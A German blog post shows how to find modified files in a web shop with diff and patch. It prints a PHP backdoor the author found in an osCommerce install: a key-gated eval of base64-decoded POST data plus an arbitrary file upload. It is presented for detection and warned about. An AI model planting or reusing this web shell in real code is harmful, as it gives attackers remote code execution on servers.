Über den Author / Internet / Unixbefehle Diff und Patch / PHP Trojaner zufällig finden

Unixbefehle Diff und Patch / PHP Trojaner zufällig finden

~2 Min. Lesezeit

Immer wieder gibt es Gründe, warum man sich einem Webserver bemächtigen möchte. In letzter Zeit sind PHP Trojaner sehr populär geworden.

Es erfordert nur ein unglaublich kleinen Code und kann in einem beliebigen PHP File versteckt werden.
Virenscanner und Anti-Rootits haben keine Chance sie zu finden und der User selbst muss manuell ans Werk.

Der Nutzungsbereich ist gross. Ich habe mal über ein JS:Redirect Trojaner (DE / EN) geschrieben, welcher mit einem infizierten PHP File auf den Server gebracht wurde.

Nun musste ich gestern bei einem Fremden Server ein OSCommerce neu installieren. Da sie aber auch selber Änderungen am Code machten, musste ich die Differenz rausfinden.

Also liess ich ein

diff -r /var/www/1 /var/www/2 > directories.diff

laufen. So erhalte ich welche Files nicht identisch sind und auch ob neue angelegt wurden.

Aus der Liste entnimmt man alle PHP Files und lässt sie über ein weiteren Vergleich:

diff -u /var/www/1/functions.php /var/www/2/functions.php >> changes.diff

Dann erhält man etwas wie das hier:

--- /var/www/1/functions.php 2010-09-07 11:08:55.000000000 +0200
+++ /var/www/2/functions.php 2010-09-07 11:27:18.000000000 +0200
@@ -81,6 +81,7 @@
define('BOX_HEADING_CUSTOMERS', 'Kunden');
define('BOX_CUSTOMERS_CUSTOMERS', 'Kunden');
define('BOX_CUSTOMERS_ORDERS', 'Bestellungen');
+define('BOX_CUSTOMERS_USERLEVEL', 'Userberechtigungen');
define('BOX_HEADING_LOCATION_AND_TAXES', 'Land / Steuer');
@@ -182,6 +183,10 @@
define('ENTRY_NEWSLETTER', 'Rundschreiben:');
define('ENTRY_NEWSLETTER_YES', 'abonniert');
-define('ENTRY_NEWSLETTER_NO', 'nicht abonniert');
+define('ENTRY_USERLEVEL', 'Userlevel:');
+define('ENTRY_RABATT_USER', 'User:');
+define('ENTRY_RABATT_HAENDLER', 'Händler:');
+define('ENTRY_RABATT_PREMIUM', 'Premium:');

Die @@ Linie zeigt dem Programm bei welcher Linie diese Änderungen sein sollten. Die + Linien sind neu hinzugekommen und alle – Linien gehören weg. Alle Linien ohne Angabe dienen zur Hilfe bei der Navigation. Will man die Änderungen in einer zukünftigen Version einspielen und die Linienangaben ändern sich, hat das Programm daher die Hilfsangabe und findet die richtige Stelle trotzdem.

Einspielen kann man im übrigen mit

patch -p1 < changes.diff

Nachdem ich dies ausgeführt hatte, sah ich ein recht seltsamer Codeschnippsel. Nach dem Auseinanderbeinen (Enter und Tabs einfügen) sah ich ich vor mir ein Trojaner, dieser so aus:

<?php
	if (sha1(md5(sha1($_POST['key']))) == "197e86fd67cd245cfa0fb98a5D3a1d7b38a79234")
		if(isset($_POST['eval']))
			eval (base64_decode($_POST['eval']));
		else
			move_uploaded_file($_FILES['uploaded']['tmp_name'], basename($_FILES['uploaded']['name']));
?>

Und erkennt ihr die Gefahr? Ein Script wo Eval() drin ist, kombiniert mit einer $_POST oder $_GET Variable ist immer gefährlich.

Wie man sieht wurde aber dieses PHP File im Gegensatz zum letzten PHP Trojaner noch ein wenig weiterentwickelt. Damit kann man auch Dateien hochladen und anschliessend mit einem 2ten Befehl ausführen. Natürlich habe ich auch diesen Trojaner gleich entschärft, damit kein weiterer Unfug damit betrieben werden kann. Da erst ein Serverumzug vom Kollegen gemacht wurde, konnte das System noch nicht weiter verseucht werden.

Und jetzt könnt ihr sehen wie einfach es ist, einen Trojaner zu finden. Sagen wir euer WordPress wäre infiziert. Eine Neuinstallation auf einer Subdomain machen, selbe Plugins laden und ein Diff laufen lassen.

Selbstverständlich wird er motzen weil Bilder nicht vorhanden sind und das Config File wird anders sein, der Rest müsste aber identisch sein. Wenn nicht, habt ihr gegebenenfalls Core Änderungen vorgenommen. Und hier tut sich gleich eine neue Chance auf. Core Änderungen in ein Diff File einspielen und beim nächsten Core Update einfach mit dem Patch Befehl wieder implementieren.

Einfach, schnell und kostenlos. Leider nur auf Unix/Linux verfügbar.

About Stefan

avatar
Ein männlicher IT Nerd, durchstöbert das Web nach speziellen Gadgets, unentbehrlicher Software und Alles was man im IT Sektor nicht verpassen darf.Immer hilfsbereit wenn Probleme zu lösen sind oder das Unmögliche umgesetzt werden sollte.

Weitere interessante Artikel

PHP Trojaner (Teil 3: Spamsender Infektion)

~1 Min. LesezeitSpam ist ein grosses Problem der heutigen Zeit, doch wer verschickt Spam und …

PHP Trojaner (Teil 2: Uploader Infektion)

~1 Min. LesezeitPHP Trojaner sind beliebt, denn oft werden solche Infektionen übersehen und überstehen Jahre …

Ein Kommentar

  1. avatar

    Hallo,

    super Idee! Hatte gestern auch einen verwanzten osCommerce mit Code-Änderungen. Der wurde zwar nicht mehr benötigt, aber rein interessehalber wollte ich wissen, was dort geändert wurde.

    Ich bekomme gerade einen Haufen Ideen, wie man sowas ggf. auch im Backend von meiner selbstprogrammierten Lösung einsetzen könnte.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

eMail-Benachrichtigung bei weiteren Kommentaren.
Auch möglich: Abo ohne Kommentar.

This Blog will give regular Commentators DoFollow Status. Implemented from IT Blögg